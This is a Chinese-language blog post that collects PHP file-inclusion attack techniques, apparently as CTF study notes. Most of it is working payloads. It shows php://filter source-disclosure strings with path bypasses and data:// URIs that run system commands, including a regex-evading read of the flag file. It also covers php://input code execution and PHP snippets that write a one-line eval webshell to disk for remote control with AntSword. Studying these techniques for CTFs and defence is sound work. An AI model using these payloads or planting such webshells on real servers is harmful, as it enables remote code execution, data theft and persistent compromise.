文件包含协议收集

判断文件包含漏洞的技巧:

若已知 /?fp=show 为当前页面,用 /?fp=./show 或者/?fp=../html/show若返回页面无变化,则极可能存在文件包含漏洞

一、php://filter

  1. php://filter/read=convert.base64-encode/resource=xxx

    (注意:xxx有时候不为index.php,服务端可能会自动加php后缀,此时只用写index即可)

    简单绕过:

    (1)php://filter/read=convert.base64-encode/resource=index/../flag(路径绕过)

    (2)php://filter/read=convert.base64-encode/index/resource=flag

  2. ?filename=php://filter/convert.iconv.<input-encoding>.<output-encoding>/resource=flag.php

    (放bp里面爆破)(#官网:https://www.php.net/manual/en/mbstring.supported-encodings.php)

3.明文读取:index.php?file1=php://filter/resource=flag.php

4.配合其它伪协议绕过

php://filter/resource=phar://evil.gif/evil.php

二、data:可以执行php代码

1.data://text/plain,<?php%20phpinfo();?>
也可以:data:text/plain,<?php%20phpinfo();?>
2.data://text/plain;base64,base64编码
也可以:
data:text/plain;base64,base64编码

注:这里当正则只匹配了data://,没有过滤整个data伪协议,去掉//即可绕过

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['file'])){
        $file = $_GET['file'];
}
// 假如我增加了过滤,你又该如何应对呢?
if(preg_match('/php:\/\/|file:\/\/|flag|http:\/\/|log|phar:\/\/|data:\/\//i', $file)){
        echo 'No No No !';
}
else{
        include $file;
}

payload如下:
?file=data:text/plain,<?php system('cat /fl\ag');?>

三、php://input

要allow_url_include=on时才可以用(并且当enctype="multipart/from-data"时php://input无效)

url栏写/xxx/?page=php://input post里面写payload(会执行post里面的php代码)
例如post中可以写<?php system('ipconfig');?>

或者写木马文件,再用蚁剑来连

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]); ?>'); ?>

##这一步执行后,服务器当前目录下就会生成一个 shell.php 文件,内容就是一句话木马
注意:写入路径要可写:如果当前目录没有写入权限,fputs 会失败,木马写不进去。可以尝试写入 /tmp/ 或 uploads/ 等可写目录

<?php file_put_contents('muma.php', '<?php @eval($_POST[cmd]);');

四、file://

这个协议可以展现本地文件系统,默认目录是当前的工作目录。
file:///path/to/file.ext 在文件包含中其实也就是等价/path/to/file.ext
但是如果来个题目给你来个正则匹配..//开头的时候就可以用这个方法来绕过了。

五、phar协议,zip伪协议

具体看对应md文件

浏览器在传输过程会对一些特殊字符进行url编码,所以我们可以利用burp绕过这一步

posted @ 2026-06-18 13:01  Doll_Marker  阅读(16)  评论(0)    收藏  举报